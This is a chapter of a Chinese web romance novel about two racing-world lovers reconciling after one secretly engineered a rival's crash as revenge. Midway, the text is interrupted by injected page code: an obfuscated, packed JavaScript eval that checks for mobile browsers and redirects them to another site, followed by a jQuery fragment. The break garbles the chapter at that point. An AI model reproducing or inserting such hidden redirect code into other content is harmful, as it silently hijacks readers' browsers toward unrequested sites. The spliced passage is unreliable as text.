112.应得的下场

作品:《那个直男突然弯了

    陶华辉几个人要回去,靳迟出来送。


    他示意陶华辉单独聊两句。


    陶华辉眉梢一竖,眼底闪过波动,他基本知道靳迟要跟他谈什么。


    沈澜大概也猜到点,没打算掺和,交代陶华辉,他们先过去点菜,让他一会儿跟靳迟聊完直接过去就行。


    陶华辉摆摆手。


    靳迟带着陶华辉去了楼梯安全通道,两个人站在这。


    陶华辉掏出来一支烟递给靳迟,靳迟摆手。


    陶华辉送进嘴里,点燃吸一口。


    从嘴里拿出来,放在身边笑着说:“想问对这次的事儿,我知道多少?”


    “嗯。”


    “我要说全都知道,恨我吗?”陶华辉语气很严肃。


    靳迟抱着手臂看过来,从他脸上看不出来什么太多情绪。


    但那一双眼很快变得通红,是愤怒的表现,就像被人扎了一刀似的。


    陶华辉比靳迟大不少岁,这些年也是摸滚打爬过来的,还是被他这一抹眼神看得心悸一下。


    赶紧把烟送到嘴里用力吸几口,躲开靳迟目光。


    过好一会儿,靳迟沉声质问:“为什么放任他?为什么不让我知道?”


    “他求我。”陶华辉不敢跟靳迟对视。


    他在知道陆竞野计划后,长达三个月睡不着,事发后的这三天,都还忘不了当时那种恐惧。


    哪怕陆竞野现在好好地,只要养一段时间依旧活蹦乱跳,他还是会害怕,会愧疚,会不敢直面靳迟。


    靳迟闪过一丝不解,就那么看着陶华辉,等他继续。


    陶华辉把烟抽得差不多哼笑两声,扫一眼靳迟,眼珠子都是红血丝。


    “你不知道正常,你跟他认识十几年,在一起也快五年,他什么脾气性格,你比我们所有人都了解。”陶华辉扔掉烟头踩踩。


    “当初你出事不到半年,我们俩见了一面,就在你们小区附近不远的茶馆。”


    已经过去很久,可陶华辉再回忆的时候,还是能感受到当时的难受。


    用手挠挠额头掩饰情绪,调整好半天,声音很小地重复陆竞野当时哭着说过的话。


    “陶哥呀,你知道阿迟上学的时候有多优秀,多耀眼吗?你们虽然没经历过他这段时光,但他在赛道上飞驰的身影应该都见过吧?”


    “他就应该是那样的才对,可他现在被害得每天只能躺在床上,行动只能依靠轮椅。”


    “你知道我是什么心情吗?抽筋扒皮,拆骨凿肺,都不够形容我的滋味,我每天只要看到他那个样子,我就难受,我难受,恨不得替他受罪。”


    “你要帮我,求求你帮我,要是不能让郭景龙体会一下这种下场,我会犯错的,我一定会犯错,会不惜一切代价宰了他。”


    “陶哥,求你帮我,也不要告诉阿迟。”


    说这些话的时候,当初陆竞野压抑的哭声就在陶华辉耳边回荡,那么清晰,就像昨天刚发生过一样。


    靳迟全程没有说话低着头,但陶华辉看到一滴眼泪掉下来。


    他不知道说什么,好久之后才把手压在靳迟肩膀上。


    “别有压力,他没犯错,之所以会拖到今天,就是为了让郭景龙在你出事的地方体验一次,他真的没有犯错,郭景龙的车子有问题,是他自己违规改装。”


    靳迟深吸口气用手搓搓脸,再抬头,已经恢复平静。


    陶华辉哼笑:“陆竞野不过是跟他打了一圈心理战,再往他们车队送了一个人,是他自己狗急跳墙把自己逼到这个结果。”


    “剐蹭呢?这个会怎么定性?”靳迟担忧询问。


    陶华辉带着讥讽:“比赛过程中,从来都避免不了擦碰,而且,是他郭景龙车子出现故障失控擦到陆竞野,陆竞野有权追究对方相应责任,争取赔偿。”


    靳迟什么都没再说只是笑笑,彻底放心。


    “我都知道了,辛苦你,陶哥。”


    陆竞野躺在床上无聊地在属羊,听到开门声,赶紧扭头看过来。


    见靳迟进来,咧嘴一笑满是讨好。


    靳迟瞥他一眼也没理,走到病床边,弯下身子拿起底下的水盆,转身就走。


    “哥。”陆竞野厚着脸皮喊了一声。


    好在这次靳迟没故意冷着他,停下来:“做什么?”


    陆竞野心里一喜,立马开始装可怜:“疼~”


    靳迟打转回来,把盆子放下:“哪里疼?”带着明显紧张。


    在陆竞野手臂先摸了摸:“手疼?”很快又摸到吊起来的腿,“还是腿?怎么个疼法?”


    不等陆竞野回应就要去按床边呼叫铃。


    陆竞野抓住他手腕:“总算愿意理我了?”


    靳迟动作顿住没说话。


    陆竞野笑笑:“你理理我,跟我说说话,心疼我一下,我就哪都不疼了。”


    靳迟猛然直起身,冷脸看着陆竞野。


    陆竞野笑容也有点维持不住:“我…”


    “骗我好玩是吧?”靳迟训斥。


    陆竞野嘴角微微下垂:“没想骗你,是真的疼。”


    靳迟立马没了脾气,把旁边凳子勾过来坐下,但也没有要说话的意思。


    “你真打算一直不理我?”


    “装可怜没用。”靳迟狠着心。


    陆竞野嘿嘿一笑,把手伸过来抓住他的手:“我知道错了。”


    “错哪了?”


    陆竞野噎一下,错哪了?他也没觉得自己错哪了。


    靳迟哼笑:“连错哪了都不知道?”


    “知道知道,心里门清。”陆竞野连忙服软。


    “你到底是怎么敢的?”靳迟板着脸问道。


    陆竞野严肃些,看着靳迟并没有再开口,也不想回答这个问题。


    靳迟确实还在生气,而且是很生气,更多的是气自己。


    他每天都跟陆竞野在一起,这么大一个计划,不可能没有蛛丝马迹,可偏偏他一点都没感觉到,也没察觉。


    更重要的是,陆竞野豁出这条命对付郭景龙,完全是为了他。


    这让靳迟心里怎么可能好受?


    靳迟身子往前靠在病床上,看着陆竞野眼睛:“你有没有想过,这场意外如果没有按照你的预算发生呢?”


    陆竞野不说话,因为他没想过。


    靳迟挣脱陆竞野的手,变成主动抓着他,很用力。


    低下头,声音特别轻:“你怎么敢的呢?你有没有想过我是什么感受?”


    “陆竞野,咱们俩到底谁欺负谁呀?你要因为这场意外有个三长两短,想没有想过我该怎么办?”


    越往后声音越小,这还是陆竞野出事后,靳迟第一次跟他直面谈论这个话题。


    也是第一次,不掩饰自己真实情绪。


    陆竞野听着身边人颤抖的声音,还有不易察觉的哽咽。


    陆竞野不敢看他,就看着天花板。


    眼睛用力眨眨赶走那份酸涩,他不禁回想起靳迟出事的那段时间。


    天塌地陷,恐惧,无助,难过。


    现在,他让靳迟也经历了一次。


    深吸口气把头转过去,靳迟趴在病床上半天没动,也没再说话。


    陆竞野强行把手抽出来放在靳迟脑袋上。


    轻轻摩挲:“对不起,别怕,已经没事了。”


    “陆竞野,你就是个王八蛋。”靳迟闷声控诉。


    陆竞野:“嗯,我是,我太王八蛋了。”<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17005539|191218||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>“你知不知道我当时有多恐惧?”


    “知道。”陆竞野故作轻松笑了笑,“在做这件事之前我就想象到了,但我还是做了,我也必须做。”


    “你混蛋。”


    “骂吧,想怎么骂都行。”陆竞野的手始终放在靳迟脑袋上。


    “把对我的愤怒跟怨气撒出来,撒出来就原谅我,别再冷着我,我受不了你冷着我,太难受。”


    “受不了你也给我受着。”靳迟突然弹起身子,眼皮通红咬着牙,“你做这种事的时候,也没想过我受不受得了,难受也给我忍着。”


    说完就站起来,当没看见陆竞野讨好的目光,重新拿起水盆去了厕所。


    再出来,端着一盆热水。


    毛巾扔进去捞出来,裹在手上,拍了陆竞野一下。


    这就像一个指令,陆竞野哼哼两声把身子翻起来。


    靳迟掀开他衣服把手塞进去,从后背开始擦,擦得很快也很仔细。


    陆竞野眯起眼睛:“舒坦。”


    在他身后的靳迟没忍住笑了笑,只是很短暂,马上又是一脸发木的样子。


    三两下给陆竞野擦一遍,端着水去倒。


    陆竞野眼睛追着他,说:“哥哥,我想吃苹果。”


    靳迟没搭理,从厕所出来后就拿了一个苹果开始削皮,削过皮还给他切成小块放在碗里,扎上一个牙签,放在他好着的那个手边。


    陆竞野看了眼撒娇:“喂我。”


    靳迟抬眼看他没说话。


    陆竞野轻咳声:“我手疼。”


    “那个手又没断。”


    “估计是被右边传染了,今天早上起来我就感觉有点抽筋。”陆竞野一边说还一边装模作样的活动两下。


    可怜地看着靳迟:“是真的,我没骗你,感觉没什么力气。”


    靳迟默默转到他这边,端起水果往他嘴里送。


    陆竞野吃了一块笑得满脸都是褶子:“甜。”


    “好吃吗?”


    “好吃。”陆竞野吞下嘴里的抬抬下巴,“你尝尝,又脆又甜。”


    靳迟往自己嘴里塞一块,点点头算赞同。


    陆竞野眼珠子一转,身子侧翻起来点:“阿迟,给我挠挠背吧,痒。”


    靳迟一开始没动,不满道:“看我愿意给你点好脸色,哥都不叫了是吧?”


    陆竞野费力往后看一眼就转回去,笑出声。


    “哥,给我挠挠后背吧。”陆竞野笑得眼睛都快看不见。


    靳迟没再说话,但笑容加深。


    把手里东西放下直起身,手伸进去,轻轻地在陆竞野后背来回摩挲,偶尔抓挠几下。


    陆竞野闭上眼睛叹了声:“舒坦。”


    “没出息。”


    “你就当我没出息吧。”陆竞野稍微扭扭。“再往下面去点,左边点,对对对就是这,稍微用点力,中间也给我挠挠,往右边去点。”


    靳迟实在没忍住笑出声:“还有哪里痒?你一次说完吧,我都给你挠挠。”


    “全身都痒。”陆竞野往后看说道。


    靳迟眉毛一挑:“嗯,看出来,皮痒缺揍了。”


    陆竞野没跟他顶嘴,笑得身子一颤一颤。


    靳迟也没再说话,专心给他仔细抓挠缓解。


    过上好一会儿,他都以为陆竞野睡着了。


    陆竞野这个时候说:“还跟我生气吗?”


    “没跟你生气。”


    “你一直都不愿意理我,冷着我。”陆竞野说得有点可怜。


    靳迟低着头,看不清是什么表情。


    沉默半天才低声说:“我只是气我自己。”


    陆竞野身子一僵没做回应,盯着正对面的窗户酸了下鼻子。